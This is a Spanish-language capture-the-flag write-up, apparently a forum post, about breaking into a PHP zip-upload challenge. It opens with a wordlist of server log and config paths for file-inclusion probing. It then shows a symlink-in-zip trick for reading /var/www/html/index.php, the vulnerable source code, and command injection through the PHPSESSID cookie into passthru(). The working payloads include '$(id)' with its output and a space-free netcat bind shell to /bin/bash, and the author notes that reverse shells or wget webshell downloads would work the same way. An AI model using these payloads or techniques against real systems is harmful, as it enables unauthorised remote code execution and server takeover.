/var/log/proftpd.access_log
/var/log/proftpd.xferlog
/var/log/proftpd/xferlog.legacy
/var/log/pure-ftpd/pure-ftpd.log
/var/log/pureftpd.log
/var/log/qmail
/var/log/qmail/
/var/log/samba
/var/log/samba-log.%m
/var/log/secure
/var/log/smtpd
/var/log/spooler
/var/log/syslog
/var/log/telnetd
/var/log/thttpd_log
/var/log/utmp
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/lp/logs/lpNet
/var/lp/logs/lpsched
/var/lp/logs/requests
/var/mysql.log
/var/run/utmp
/var/saf/_log
/var/saf/port/log
/var/spool/errors
/var/spool/locks
/var/spool/logs
/var/spool/tmp
/var/www/conf/httpd.conf
/var/www/log/access_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error.log
/var/www/logs/error_log
/var/www/logs/error_log
/web/conf/php.ini
/www/logs/proftpd.system.log
c:\NetServer\bin\stable\apache\php.ini
c:\PHP\php.ini
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
c:\Program Files\Apache Group\Apache\conf\httpd.conf
c:\Program Files\Apache Group\Apache\logs\access.log
c:\Program Files\Apache Group\Apache\logs\access.log
c:\Program Files\Apache Group\Apache\logs\error.log
c:\Program Files\Apache Group\Apache\logs\error.log
c:\Program Files\xampp\apache\conf\httpd.conf
c:\WINDOWS\php.ini
c:\WINNT\php.ini
c:\apache\logs\access.log
c:\apache\logs\access.log
c:\apache\logs\error.log
c:\apache\logs\error.log
c:\apache\php\php.ini
c:\home2\bin\stable\apache\php.ini
c:\home\bin\stable\apache\php.ini
c:\php4\php.ini
c:\php5\php.ini
c:\php\php.ini
c:\xampp\apache\bin\php.ini

Ahi vi algunos archivos mas y me di cuenta de que era un ubuntu. Tambien me di cuenta de que no habia ninguna configuracion loca, el archivo php.ini estaba como cualquier otro, habian pocos usuarios, el usuario del webserver era www-data y cosas asi. Pregunté y me dijeron que en ubuntu tenia que buscar en /var/www/html/index.php

Ahi consegui el source:
ln -s "/var/www/html/index.php" prueba54
zip --symlinks prueba1.zip prueba54


<!DOCTYPE html5>
<head>
    <meta charset="utf-8"/>
    <title>Sube tu archivo aquí</title>
</head>

<body>
    <form action="?page=upload" method="post" enctype="multipart/form-data">
        <input type="file" name="file"/>
        <input type="submit" value="kuankear!"/>
    </form>


<?php
    session_start
();
    
$allowed = array('zip');
    
$filename $_FILES['file']['name'];
    
$ext pathinfo($filenamePATHINFO_EXTENSION);
    if (!
in_array($ext$allowed)) {
        die(
"La extensión del archivo no es admisible.");
    }
    
$tmp_file "/tmp/" session_id();
    
$zip = new ZipArchive;
    
$zip->open($_FILES['file']['name']);
    
$zip->extractTo($tmp_file);
    
exec('unzip -o ' $_FILES['file']['tmp_name'] . ' -d ' $tmp_file);
    echo 
"Contenido del ZIP:<br>";
    
passthru("cat $tmp_file/* 2>&1");
    
exec("rm -rf $tmp_file");
    
?>



</body>
</html>


Ahi me di cuenta de algo que podria haber visto mucho antes: cuando tiraba errores tipo "cat: /tmp/asdasdasdasdqwe: No such file or directory", el nombre del archivo venia del id de sesion (la cookie PHPSESSID)

La parte importante:
    session_start();
    $tmp_file = "/tmp/" . session_id();
    passthru("cat $tmp_file/* 2>&1");


Con exec() tambien se ejecutan los comandos, pero con passthru() vemos la salida
Seteo la cookie a esto:
Citar0g4clkinm90tfeukeferus7en0asd$(id)
Y entre un monton de errores se ve esto:

Contenido del ZIP:<br>cat: /tmp/0g4clkinm90tfeukeferus7en0asduid=33(http): Is a directory
cat: gid=33(http): No such file or directory
cat: groups=33(http)/*: No such file or directory


Trate de correr nc y wget pero no podia porque si ponia un espacio en la cookie, php generaba otra
Use esto: http://0xa.li/executing-bash-commands-without-space/
Me quedó esta cookie: qur0v0rjnj840jju8qn1qpdjd3q$({nc,-lp,8989,-e,/bin/bash})
Y ahi me pude conectar a una shell remota

A partir de la parte donde consigo el codigo php, todas las pruebas son locales porque desaparecio el servidor. Es probable que en el servidor no me pueda conectar asi, pero sirve la misma tecnica para hacer una conexion inversa o para bajar una webshell con wget


Me diverti bastante, me gustó que no haya que adivinar cosas